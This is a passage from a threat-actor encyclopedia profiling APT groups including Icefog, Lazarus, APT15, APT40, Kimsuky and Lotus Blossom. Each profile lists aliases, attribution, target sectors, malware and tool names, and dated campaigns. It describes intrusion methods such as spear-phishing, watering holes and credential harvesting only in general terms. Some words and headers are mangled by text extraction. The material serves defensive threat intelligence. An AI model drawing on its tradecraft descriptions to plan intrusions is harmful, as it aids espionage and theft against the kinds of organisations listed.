Japan Motivation Information theft and espionage Description (Kaspersky) Icefog is an Advanced Persistent Threat that has been active since at least 2011, targeting mostly Japan and South Korea. Known targets include governmental institutions, military contractors, maritime and shipbuilding groups, telecom operators, industrial and high-tech companies and mass media. The name Icefog comes from a string used in the command-and-control server name in one of the samples. The command-and-control software is named Dagger Three , in the Chinese language. During Icefog attacks, several other malicious tools and backdoors were uploaded to the victims machines, for data exfiltration and lateral movement. Observed Sectors: Defense, Government, High-Tech, Maritime and Shipbuilding, Media, Telecommunications, Water and others. Countries: Australia, Austria, Belarus, Canada, China, France, Germany, Hong Kong, India, Italy, Japan, Kazakhstan, Malaysia, Maldives, Mongolia, Netherlands, Pakistan, Philippines, Russia, Singapore, South Korea, Sri Lanka, Taiwan, Tajikistan, Turkey, UK, USA and Uzbekistan. Tools used Dagger Three, Fucobha, Icefog and Javafog. Operations performed Jan 2014 The Icefog APT Hits US Targets With Java Backdoor Since the publication of our report, the Icefog attackers went completely dark, shutting down all known command-and-control servers. Nevertheless, we continued to monitor the operation by sinkholing domains and 119nalyzing victim connections. During this monitoring, we observed an interesting type of connection which seemed to indicate a Java version of Icefog, further to be referenced Javafog 2015 TOPNEWS Campaign Target: Government, media, and finance organizations in Russia and Mongolia. 2016 APPER Campaign Target: Kazach officials. 2018 WATERFIGHT Campaign Target: Water source provider, banks, and government entities in Turkey, India, Kazakhstan, Uzbekistan, and Tajikistan. 2018 PHKIGHT Campaign Target: An unknown entity in the Philippines 20182019 SKYLINE Campaign Target: Organizations in Turkey and Kazakhstan. Threat Group Cards: A Threat Actor Encyclopedia Information Threat Group Cards: A Threat Actor Encyclopedia Inception Framework Names Inception Framework (Symantec) Country Russia Motivation Information theft and espionage Description (Symantec) Researchers from Blue Coat Labs have identified the emergence of a previously undocumented attack framework that is being used to launch highly targeted attacks in order to gain access to, and extract confidential information from, victims computers. Because of the many layers used in the design of the malware, we ve named it Inception a reference to the 2010 movie Inception about a thief who entered peoples dreams and stole secrets from their subconscious. Targets include individuals in strategic positions: Executives in important businesses such as oil, finance and engineering, military officers, embassy personnel and government officials. The Inception attacks began by focusing on targets primarily located in Russia or related to Russian interests, but have since spread to targets in other locations around the world. The preferred malware delivery method is via phishing emails containing trojanized documents. Initially targeted at Russia, but expanding globally Masterful identity cloaking and diversionary tactics Clean and elegant code suggesting strong backing and top-tier talent Includes malware targeting mobile devices: Android, Blackberry and iOS Using a free cloud hosting service based in Sweden for command and control Observed Sectors: Defense, Embassies, Engineering, Financial, Government and Oil and gas. Countries: Afghanistan, Armenia, Austria, Azerbaijan, Belarus, Belgium, Brazil, Congo, Cyprus, France, Georgia, Germany, Greece, India, Indonesia, Iran, Italy, Jordan, Kazakhstan, Kenya, Kyrgyzstan, Lebanon, Lithuania, Malaysia, Moldova, Morocco, Mozambique, Oman, Pakistan, Paraguay, Qatar, Romania, Russia, Saudi Arabia, South Africa, Suriname, Switzerland, Tajikistan, Tanzania, Turkey, Turkmenistan, Uganda, Ukraine, UAE, USA, Uzbekistan, Venezuela and Vietnam. Tools used Inception, Lastacloud and many 0-day exploits. Operations performed Oct 2012 Operation RedOctober In October 2012, Kaspersky Lab s Global Research & Analysis Team initiated a new threat research after a series of attacks against computer networks of various international diplomatic service agencies. A large scale cyber-espionage network was revealed and analyzed during the investigation, which we called Red October (after famous novel The Hunt For The Red October May 2014 Hiding Behind Proxies Since 2014, Symantec has found evidence of a steady stream of attacks from the Inception Framework targeted at organizations on several continents. As time has gone by, the group has become ever more secretive, hiding behind an increasingly complex framework of proxies and cloud services. Aug 2014 Operation Cloud Atlas Threat Group Cards: A Threat Actor Encyclopedia In August 2014, some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware. We did a quick analysis of the malware and it immediately stood out because of certain unusual things that are not very common in the APT world. Information Threat Group Cards: A Threat Actor Encyclopedia Infy, Prince of Persia Names Infy (Palo Alto) Prince of Persia (Palo Alto) Operation Mermaid (360) Country Iran Sponsor State-sponsored Motivation Information theft and espionage Description Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line5with other research on the campaign, released prior to publication of this document, we have adopted the name Infy which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware. Observed Sectors: Government and private sectors. Countries: Bahrain, Canada, China, Denmark, France, Germany, Iran, Israel, Italy, Russia, Saudi Arabia, Sweden, Syria, UK and USA. Tools used Foudre and Infy. Operations performed May 2015 In May 2015, Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account, sent to an Israeli industrial organization. One e-mail carried a Microsoft PowerPoint file named thanks.pps , the other a Microsoft Word document named request.docx Feb 2017 In February 2017, we observed an evolution of the Infy malware that we re calling Foudre lightning , in French). The actors appear to have learned from our previous takedown and sinkholing of their Command and Control (C2) infrastructure Foudre incorporates new anti-takeover techniques in an attempt to avoid their C2 domains being sinkholed as we did in 2016. Counter operation Prince of Persia Game Over (2016) Threat Group Cards: A Threat Actor Encyclopedia Information Threat Group Cards: A Threat Actor Encyclopedia Iridium Names Iridium (Resecurity) Country Iran Motivation Information theft and espionage Description (Kaspersky) Iridium is an APT that uses proprietary techniques to bypass two-factor authentication for critical applications, according to security firm Resecurity. A researcher has attributed a recently publicized attack on Citrix internal network to the Iranian-linked group known as Iridium and said that the data heist involved 6 terabytes of sensitive data. The culprit is an APT that uses proprietary techniques to bypass two-factor authentication for critical applications and services for further unauthorized access to virtual private networks and single sign-on systems, according to Resecurity. [Iridium] has hit more than 200 government agencies, oil and gas companies and technology companies, including Citrix Systems Inc., they said. Threatpost has reached out for further details as to how the firm is linking the APT to the attack and will update this post accordingly. Observed Sectors: Government, Oil and gas and Technology. Tools used China Chopper, Ckife Webshells, LazyCat and reGeorge. Operations performed Dec 2018 Attacks on Australian government Dec 2018 Breach of Citrix Information Threat Group Cards: A Threat Actor Encyclopedia Ke3chang, Vixen Panda, APT 15, GREF, Playful Dragon Names Ke3chang (FireEye) Vixen Panda (CrowdStrike) APT 15 (Mandiant) GREF (SecureWorks) Playful Dragon (FireEye) Royal APT (NCC Group) Country China Sponsor State-sponsored Motivation Information theft and espionage Description Ke3chang is a threat group attributed to actors operating out of China. Ke3chang has targeted several industries, including oil, government, military, and more. Observed Sectors: Aerospace, Airlines, Chemicals, Defense, Embassies, Energy, Government, High-Tech, Industry, Manufacturing, Mining, Oil and gas and Utilities. Countries: European Union, India and UK. Tools used Cobalt Strike, Metushy, Mimikatz, MirageFox, MS Exchange Tool, Royal DNS, RoyalCli, spwebmember, Systeminfo, Tasklist, TidePool and Winnti. Operations performed 2010 Operation Ke3chang As the crisis in Syria escalates, FireEye research-ers have discovered a cyber espionage campaign, which we call Ke3chang, that falsely advertises information updates about the ongoing crisis to compromise MFA networks in Europe. We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010. However, we believe specific Syria-themed attacks against MFAs (codenamed by Ke3chang as moviestar ) began only in August 2013. The timing of the attacks precedes a G20 meeting held in Russia that focused on the crisis in Syria. May 2016 Little has been published on the threat actors responsible for Operation Ke3chang since the report was released more than two years ago. However, Unit 42 has recently discovered the actors have continued to evolve their custom malware arsenal. We ve discovered a new malware family we ve named TidePool. It has strong behavioral ties to Ke3chang and is being used in an ongoing attack campaign against Indian embassy personnel worldwide. This targeting is also consistent with previous attacker TTPs; Ke3chang historically targeted the Ministry of Affairs, and also conducted several prior campaigns against India. May 2017 Attack on a company that provides a range of services to UK Government A number of sensitive documents were stolen by the attackers during the incident and we believe APT15 was targeting information related to UK government departments and military technology. During our analysis of the compromise, we identified new backdoors that now appear to be part of APT15 s toolset. The backdoor BS2005 Threat Group Cards: A Threat Actor Encyclopedia which has traditionally been used by the group now appears alongside the additional backdoors RoyalCli and RoyalDNS. Jun 2018 Operation MirageFox The malware involved in this recent campaign, MirageFox, looks to be an upgraded version of a tool, a RAT believed to originate in 2012, known as Mirage. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Kimsuky, Velvet Chollima Names Kimsuky (Kaspersky) Velvet Chollima (CrowdStrike) Country North Korea Motivation Information theft and espionage Description (Kaspersky) For several months, we have been monitoring an ongoing cyberespionage campaign against South Korean think-tanks. There are multiple reasons why this campaign is extraordinary in its execution and logistics. It all started one day when we encountered a somewhat unsophisticated spy program that communicated with its master via a public e-mail server. This approach is rather inherent to many amateur virus-writers and these malware attacks are mostly ignored. Observed Ministry of Unification, Sejong Institute and Korea Institute for Defense Analyses. Countries: South Korea. Tools used Grease, KPortScan, MailPassView, Mechanical, Mimikatz, Network Password Recovery, Procdump, PSExec, Remote Desktop PassView, SniffPass and WebBrowserPassView. Information Threat Group Cards: A Threat Actor Encyclopedia Lazarus Group, Hidden Cobra, Labyrinth Chollima Names Lazarus Group (Kaspersky) Labyrinth Chollima (CrowdStrike) Group 77 (Talos) Hastati Group (SecureWorks) Whois Hacking Team (McAfee) NewRomanic Cyber Army Team (McAfee) Zinc (Microsoft) Hidden Cobra (Trend Micro) Nickel Academy (SecureWorks) APT-C-26 (360) Country North Korea Sponsor State-sponsored, Bureau/Unit 211 Motivation Information theft, espionage, disruption, sabotage and financial gain Description (Malwarebytes) Lazarus Group is commonly believed to be run by the North Korean government, motivated primarily by financial gain as a method of circumventing long-standing sanctions against the regime. They first came to substantial media notice in 2013 with a series of coordinated attacks against an assortment of South Korean broadcasters and financial institutions using DarkSeoul, a wiper program that overwrites sections of the victims master boot record. In November 2014, a large scale breach of Sony Pictures was attributed to Lazarus. The attack was notable due to its substantial penetration across Sony networks, the extensive amount of data exfiltrated and leaked, as well of use of a wiper in a possible attempt to erase forensic evidence. Attribution on the attacks was largely hazy, but the FBI released a statement tying the Sony breach to the earlier DarkSeoul attack, and officially attributed both incidents to North Korea. Fast forward to May 2017 with the widespread outbreak of WannaCry, a piece of ransomware that used an SMB exploit as an attack vector. Attribution to North Korea rested largely on code reuse between WannaCry and previous North Korean attacks, but this was considered to be thin grounds given the common practice of tool sharing between regional threat groups. Western intelligence agencies released official statements to the public reaffirming the attribution, and on September 6, 2018, the US Department of Justice charged a North Korean national with involvement in both WannaCry and the Sony breach. Observed Sectors: Engineering, Financial, Government, Technology and BitCoin exchanges. Countries: Australia, Bangladesh, Brazil, Canada, Chile, China, Ecuador, France, Germany, Guatemala, Hong Kong, India, Israel, Japan, Mexico, Philippines, Poland, South Korea, Taiwan, Thailand, UK, USA, Vietnam and worldwide (WannaCry). Tools used AuditCred, AlphaNC, Alreay, AppleJeus, Appleworm, BADCALL, Bankshot, BanSwift, Bitsran, Brambul, BravoNC, Castov, Contopee, DeltaNC, Destover, Dozer, DoublePulsar, Duuzer, ELECTRICFISH, EternalBlue, FallChill RAT, FASTCash, Fimlis, Gh0st RAT, HARDRAIN, Hawup, Hermes, HOPLIGHT, HtDnDownLoader, Joanap, Jokra, KEYMARBLE, KillDisk, Koredos, Lazarus, Manuscrypt, Mimikatz, Mydoom, Mytob, NukeSped, PhanDoor, PowerRatankba, PowerSpritz, Proxysvc, RatabankaPOS, RawDisk, Rifdoor, Rising Sun, RomeoNC, SHARPKNOT, SheepRAT, SierraNC, Tdrop, Tdrop2, Troy, TYPEFRAME, Volgmer, WannaCry, WolfRAT and Yort. Threat Group Cards: A Threat Actor Encyclopedia Operations performed 2007 Operation Flame Target: South Korean government. Method: Disruption and sabotage. Jul 2009 Operation Troy North Korean hackers are suspected of launching a cyber-attack on some of the most important government offices in the US and South Korea in recent days, including the White House, the Pentagon, the New York Stock Exchange and the presidential Blue House in Seoul. The attack took out some of South Korea s most important websites, including those of the Blue House, the defense ministry, the national assembly, Shinhan bank, Korea Exchange bank and the top internet portal Naver. Target: Government, financial and media institutions in South Korea and USA. Method: DdoS attacks. Mar 2011 Attack on South Korean banks and media Recent Distributed Denial of Service (DdoS) attacks on a number South Korean websites have been in news for the past week. The threat responsible for carrying out these attacks is Trojan.Koredos. Target: South Korean organizations. Method: DdoS attacks and destruction of infected machines. Mar 2013 Operation Ten Days of Rain DarkSeoul Computer networks running three major South Korean banks and the country s two largest broadcasters were paralyzed Wednesday in attacks that some experts suspected originated in North Korea, which has consistently threatened to cripple its far richer neighbor. The attacks, which left many South Koreans unable to withdraw money from A.T.M. s and news broadcasting crews staring at blank computer screens, came as the North s official Korean Central News Agency quoted the country s leader, Kim Jong-un, as threatening to destroy government installations in the South, along with American bases in the Pacific. Target: Three broadcasting stations and a bank in South Korea. Method: Infecting with viruses, stealing and wiping information. May 2013 South Korean Financial Companies Targeted by Castov In the past few months we have been actively monitoring an exploit kit, called Gongda, which is mainly targeting South Korea. Interestingly, we have come across a piece of malware, known as Castov, being delivered by this exploit kit that targets specific South Korean financial companies and their customers. The cybercriminals in this case have done their research on the South Korean online financial landscape. Jun 2013 DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War Threat Group Cards: A Threat Actor Encyclopedia Yesterday, June 25, the Korean peninsula observed a series of cyberattacks coinciding with the 63rd anniversary of the start of the Korean War. While multiple attacks were conducted by multiple perpetrators, one of the distributed denial-of-service (DdoS) attacks observed yesterday against South Korean government websites can be directly linked to the DarkSeoul gang and Trojan.Castov. Nov 2014 Breach of Sony Pictures Entertainment The attack on Sony Pictures became public knowledge on November 24, 2014, when Sony employees turned on their computers to be greeted with the sight of a neon red skeleton and the words Hacked by GOP , which stood for Guardians of the Peace . The message also threatened to release data later that day if an unspecified request was not met. Over the following weeks, huge swathes of information stolen from Sony were released, including: personal information about employees and their families; email correspondence between employees at the company; information about company salaries, unreleased Sony films, and other information. Target: Sony Pictures Entertainment (released the Interview movie, ridiculing the North Korean leader). Method: Infecting with malware, stealing and wiping data of the company s employees, correspondence, copies of unreleased films. Jun 2015 Using the Palo Alto Networks AutoFocus threat intelligence platform, we identified several samples of malicious code with behavior similar to the aforementioned Operation Troy campaign dating back to June 2015, over two years after the original attacks in South Korea. Session data revealed a live attack targeting the transportation and logistics sector in Europe. Mar 2017 The Blockbuster Sequel This recently identified activity is targeting Korean speaking individuals, while the threat actors behind the attack likely speak both Korean and English. This blog will detail the recently discovered samples, their functionality, and their ties to the threat group behind Operation Blockbuster. May 2017 WannaCry ransomware5. Aug 2017 The Blockbuster Saga Continues Unit 42 researchers at Palo Alto Networks have discovered new attack activity targeting individuals involved with United States defense contractors. 5 See ThaiCERT Whitepaper WannaCry Ransomware Threat Group Cards: A Threat Actor Encyclopedia Late 2017 Several financial sector and a casino breaches using KillDisk wiping malware in Latin America and USA. 2017-2018 Cryptocurrency attacks on South Korean exchanges. Mar 2018 APT attack on Turkish Financial Sector. Target: Turkish Financial Sector. Method: Spear-phishing with Bankshot implant. Apr 2018 Operation GhostSecret Target: The impacted organizations are in industries such as telecommunications, health, finance, critical infrastructure, and entertainment. Method: Spear-phishing with Destover-like implant. Aug 2018 Operation AppleJeus Target: Cryptocurrency exchange. Method: Fake installer and macOS malware. Oct 2018 Operation Sharpshooter Target: 87 organizations in many different sectors (majority Government and Defense) across the globe, predominantly in the United States. Method: Rising Sun implant to gather intelligence. Nov 2018 More Attacks on Cryptocurrency Businesses Target: Some of the documents (for instance one entitled sample document for business plan evaluation of venture company ) were prepared in Korean, presumably to target South Korean businesses. Another contains a business overview of what seems to be a Chinese technology consulting group named LAFIZ ( we couldn confirm if it s a legitimate business or another fake company made up by Lazarus, Kaspersky Lab researchers said). Yet another provided information for coin listings with a translation in Korean, researchers said. Method: Documents containing weaponized macros, carefully prepared to attract the attention of cryptocurrency professionals. utilizes PowerShell to control Windows systems and macOS malware for Apple users. Threat Group Cards: A Threat Actor Encyclopedia Counter operations Mar 2019 The infamous Lazarus threat actor group has been found targeting an Israeli defense company, according to new research outlined by a cybersecurity firm ClearSky. The campaign is carried out with an intention to steal military and commercial secrets. Apr 2019 Hoplight Malware Campaign Known as Hoplight, the malware is a collection of nine files, though most of those are designed to work as obfuscation layers to keep admins and security software from spotting the attack. May 2019 North Korean Tunneling Tool: ELECTRICFISH This report provides analysis of one malicious 32-bit Windows executable file. The malware implements a custom protocol that allows traffic to be funneled between a source and a destination Internet Protocol (IP) address. The malware continuously attempts to reach out to the source and the designation system, which allows either side to initiate a funneling session. The malware can be configured with a proxy server/port and proxy username and password. This feature allows connectivity to a system sitting inside of a proxy server, which allows the actor to bypass the compromised system s required authentication to reach outside of the network. Operation Blockbuster (2016) Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats (2017) North Korean Regime-Backed Programmer Charged With Conspiracy to Conduct Multiple Cyber Attacks and Intrusions (2018) Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Subgroup: Andariel, Silent Chollima Names Andariel (FSI) Silent Chollima (CrowdStrike) Country North Korea Operations performed 2014 Operation BLACKMINE Target: South Korean organizations. Method: Information theft and espionage. 2014 Operation GHOSTRAT Target: Defense industry Method: Information theft and espionage. 2014 Operation XEDA Target: Foreign defense industries Method: Information theft and espionage. 2015 Operation INITROY /Phase 1 Target: South Korean organizations. Method: Information theft/early phase operation. 2015 Operation DESERTWOLF /Phase 3 Target: South Korean defense industry. Method: Information theft and espionage. 2015 Operation BLACKSHEEP /Phase 3. Target: Defense industry Method: Information theft and espionage 2016 Operation INITROY /Phase 2 Target: South Korean organizations. Method: Information theft/early phase operation. 2016 Operation VANXATM Target: ATM companies Method: Financial theft/BPC 2017 Operation Mayday Target: South Koran Financial Company. Method: Information theft and espionage. Threat Group Cards: A Threat Actor Encyclopedia Subgroup: Bluenoroff, APT 38, Stardust Chollima Names Bluenoroff (Kaspersky) Stardust Chollima (CrowdStrike) APT 38 (Mandiant) Country North Korea Description (Kaspersky) The Lazarus Group, a nation-state level of attacker tied to the 2014 attacks on Sony Pictures Entertainment, has splintered off a portion of its operation to concentrate on stealing money to fund itself. The group, widely believed to be North Korean, has been linked to a February 2016 attack against the Bangladesh Central bank that resulted in more than $850 million in fraudulent SWIFT network transactions, $80 million of which still has not been recovered. Operations performed Oct 2015 Duuzer backdoor Trojan targets South Korea to take over computers Symantec has found that South Korea is being impacted by an active back door Trojan, detected as Backdoor.Duuzer. While the malware attack has not been exclusively targeting the region, it has been focusing on the South Korean manufacturing industry. Duuzer is a well-designed threat that gives attackers remote access to the compromised computer, downloads additional files, and steals data. s clearly the work of skilled attackers looking to obtain valuable information. 2015 SWIFT Attack on a bank in the Philippines Dec 2015 Attempted Vietnamese TPBank SWIFT Attack May 2016 SWIFT Attack on Banco del Austro in Ecuador 2016-2018 Operation FASTCash On October 2, 2018, an alert was issued by US-CERT, the Department of Homeland Security, the Department of the Treasury, and the FBI. According to this new alert, Hidden Cobra (the U.S. government s code name for Lazarus) has been conducting FASTCash attacks, stealing money from Automated Teller Machines (ATMs) from banks in Asia and Africa since at least 2016. Feb 2016 Bangladeshi Bank Attack Oct 2016 Mexican and Polish Financial Attack Organizations in 31 countries have been targeted in a new wave of attacks which has been underway since at least October 2016. The attackers used compromised websites or watering holes to infect Threat Group Cards: A Threat Actor Encyclopedia pre-selected targets with previously unknown malware. There has been no evidence found yet that funds have been stolen from any infected banks. Oct 2017 SWIFT Attack on Far Eastern International Bank (FEIB) in Taiwan Jan 2018 Attempted heist at Bancomext in Mexico May 2018 SWIFT attack on Banco de Chile in Chile Aug 2018 SWIFT attack on Cosmos Bank in India Dec 2018 ATM breach of Redbanc in Chile Threat Group Cards: A Threat Actor Encyclopedia Lead Names Lead (Microsoft) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Microsoft) In the past few years, Lead s victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, Lead s objective was to steal sensitive data, including research materials, process documents, and project plans. Lead also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, Lead s attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, Lead gains access to a target by bruteforcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines. Observed Sectors: Online videogame companies, Pharmaceutical, Technology and Telecommunications. Countries: Japan and USA. Tool used Cobalt Strike and Winnti. Information Threat Group Cards: A Threat Actor Encyclopedia Leafminer, Raspite Names Leafminer (Symantec) Raspite (Dragos) Country Iran Motivation Information theft and espionage Description (Symantec) Symantec has uncovered the operations of a threat actor named Leafminer that is targeting a broad list of government organizations and business verticals in various regions in the Middle East since at least early 2017. The group tends to adapt publicly available techniques and tools for their attacks and experiments with published proof-of-concept exploits. Leafminer attempts to infiltrate target networks through various means of intrusion: watering hole websites, vulnerability scans of network services on the internet, and bruteforce/dictionary login attempts. The actor s post-compromise toolkit suggests that the group is looking for email data, files, and database servers on compromised target systems. (Dragos) Analysis of Raspite tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. Raspite targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. Raspite leverages strategic website compromise to gain initial access to target networks. Raspite uses the same methodology as Berserk Bear, Dragonfly 2.0 and Allanite in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to Raspite -controlled infrastructure, allowing the adversary to remotely access the victim machine. Observed Sectors: Energy, Financial, Government and Transportation. Countries: Europe, East Asia, Israel, Kuwait, Lebanon and USA. Tools used Imecab, LaZagne, PhpSpy and Mimikatz. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Leviathan, APT 40, TEMP.Periscope Names Leviathan (CrowdStrike) APT 40 (Mandiant) TEMP.Periscope (FireEye) TEMP.Jumper (FireEye) Bronze Mohawk (SecureWorks) Mudcarp (iDefense) Country China Motivation Information theft and espionage Description (FireEye) FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40. The actor has conducted operations since at least 2013 in support of China s naval modernization effort. The group has specifically targeted engineering, transportation, and the defense industry, especially where these sectors overlap with maritime technologies. More recently, we have also observed specific targeting of countries strategically important to the Belt and Road Initiative including Cambodia, Belgium, Germany, Hong Kong, Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United Kingdom. This China-nexus cyber espionage group was previously reported as TEMP.Periscope and TEMP.Jumper. Observed Sectors: Maritime-related targets across multiple verticals, including Defense, Engineering, Government, Manufacturing, Research Shipping and Transportation. Countries: Belgium, Cambodia, Germany, Hong Kong, Malaysia, Norway Philippines, Saudi Arabia, Switzerland, USA and UK, and Asia Pacific Economic Cooperation (APEC). Tools used AIRBREAK, BADFLICK, Beacon, BITSAdmin, BLACKCOFFEE, China Chopper, Cobalt Strike, Derusbi, Gh0st RAT, GRILLMARK, HOMEFRY, LUNCHMONEY, MURKYTOP, NanHaiShu, Orz, PHOTO, PlugX, scanbox, SeDLL, Windows Credential Editor and ZXShell. Operations performed 2014 Spear-phishing maritime and defense targets Proofpoint researchers are tracking an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe. May 2017 Targeting UK-Based Engineering Company Using Russian APT Techniques Employees of a U.K.-based engineering company were among the targeted victims of a spear-phishing campaign in early July 2018. The campaign also targeted an email address possibly belonging to a freelance journalist based in Cambodia who covers Cambodian politics, human rights, and Chinese development. We believe both attacks used the same infrastructure as a reported campaign by Chinese threat actor TEMP.Periscope (also known as Leviathan), which targeted Cambodian entities in the run-up to their July 2018 elections. Crucially, TEMP.Periscope s interest in the U.K. engineering company they targeted dates back to attempted intrusions in May 2017. Threat Group Cards: A Threat Actor Encyclopedia 2017 The current campaign is a sharp escalation of detected activity since summer 2017. Like multiple other Chinese cyber espionage actors, TEMP.Periscope has recently re-emerged and has been observed conducting operations with a revised toolkit. Known targets of this group have been involved in the maritime industry, as well as engineering-focused entities, and include research institutes, academic organizations, and private firms in the United States. Jul 2018 Targeting Cambodia Ahead of July 2018 Elections FireEye has examined a range of TEMP.Periscope activity revealing extensive interest in Cambodia s politics, with active compromises of multiple Cambodian entities related to the country s electoral system. This includes compromises of Cambodian government entities charged with overseeing the elections, as well as the targeting of opposition figures. This campaign occurs in the run up to the country July 29, 2018, general elections. Information MITRE ATT&CK Threat Group Cards: A Threat Actor Encyclopedia Longhorn, The Lamberts Names Longhorn (Symantec) The Lamberts (Kaspersky) Country Sponsor State-sponsored, CIA Motivation Information theft and espionage Description Some operations and tooling used by this group were exposed in the [Vault 7/8] leaks on WikiLeaks in 2017. (Symantec) Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. Longhorn s malware appears to be specifically built for espionage-type operations, with detailed system fingerprinting, discovery, and exfiltration capabilities. The malware uses a high degree of operational security, communicating externally at only select times, with upload limits on exfiltrated data, and randomization of communication intervals all attempts to stay under the radar during intrusions. For C&C servers, Longhorn typically configures a specific domain and IP address combination per target. The domains appear to be registered by the attackers; however they use privacy services to hide their real identity. The IP addresses are typically owned by legitimate companies offering virtual private server (VPS) or webhosting services. The malware communicates with C&C servers over HTTPS using a custom underlying cryptographic protocol to protect communications from identification. Observed Sectors: Aerospace, Education, Energy, Financial, Government, IT and Telecommunications. Countries: 16 countries in the Middle East, Europe, Asia and Africa. Tools used Black Lambert, Blue Lambert, Corentry, Gray Lambert, Green Lambert, Green OS X Lambert, LH1, LH2, Pink Lambert, Plexor and White Lambert. Information Threat Group Cards: A Threat Actor Encyclopedia Lotus Blossom, Spring Dragon Names Lotus Blossom (Palo Alto) Spring Dragon (Kaspersky) Dragonfish (iDefense) Country China Sponsor State-sponsored Motivation Information theft and espionage Description (Kaspersky) Spring Dragon is a long running APT actor that operates on a massive scale. The group has been running campaigns, mostly in countries and territories around the South China Sea, since as early as 2012. The main targets of Spring Dragon attacks are high profile governmental organizations and political parties, education institutions such as universities, as well as companies from the telecommunications sector. Spring Dragon is known for spear phishing and watering hole techniques and some of its tools have previously been analyzed and reported on by security researchers, including Kaspersky Lab. Observed Sectors: Defense, Education, Government and Telecommunications. Countries: Brunei, Cambodia, Hong Kong, Indonesia, Japan, Laos, Malaysia, Myanmar, Philippines, Singapore, Taiwan, Thailand and Vietnam. Tools used Elise and Emissary. Operations performed Jun 2015 Operation Lotus Blossom Today Unit 42 published new research identifying a persistent cyber espionage campaign targeting government and military organizations in Southeast Asia. The adversary group responsible for the campaign, which we named Lotus Blossom, is well organized and likely statesponsored, with support from a country that has interests in Southeast Asia. The campaign has been in operation for some time; we have identified over 50 different attacks taking place over the past three years. Nov 2015 Attack on French Diplomat We observed a targeted attack in November directed at an individual working for the French Ministry of Foreign Affairs. The attack involved a spear-phishing email sent to a single French diplomat based in Taipei, Taiwan and contained an invitation to a Science and Technology support group event. 2017 In the beginning of 2017, Kaspersky Lab became aware of new activities by an APT actor we have been tracking for several years called Spring Dragon (also known as LotusBlossom). Information about the new attacks arrived from a research partner in Taiwan and we decided to review the actor s tools, techniques and activities. Using Kaspersky Lab telemetry data we detected the malware in attacks against some high-profile organizations around the South China Sea. Threat Group Cards: A Threat Actor Encyclopedia Jan 2018 MITRE ATT&CK Attacks on Association of South East Asian Nations (ASEAN) countries During the last weeks of January (2018), nation state actors from Lotus Blossom conducted a targeted malware spam campaign against the Association of South East Asian Nations (ASEAN) countries. Threat Group Cards: A Threat Actor Encyclopedia Lucky Cat Names Lucky Cat (Symantec) Country China Motivation Information theft and espionage Description (Symantec) A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a shotgun like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims. Observed Sectors: Aerospace, Defense, Engineering, Shipping and Tibetan activists. Countries: India, Japan, Malaysia and Tibet. Tools used Sojax and Wimmie. Information Threat Group Cards: A 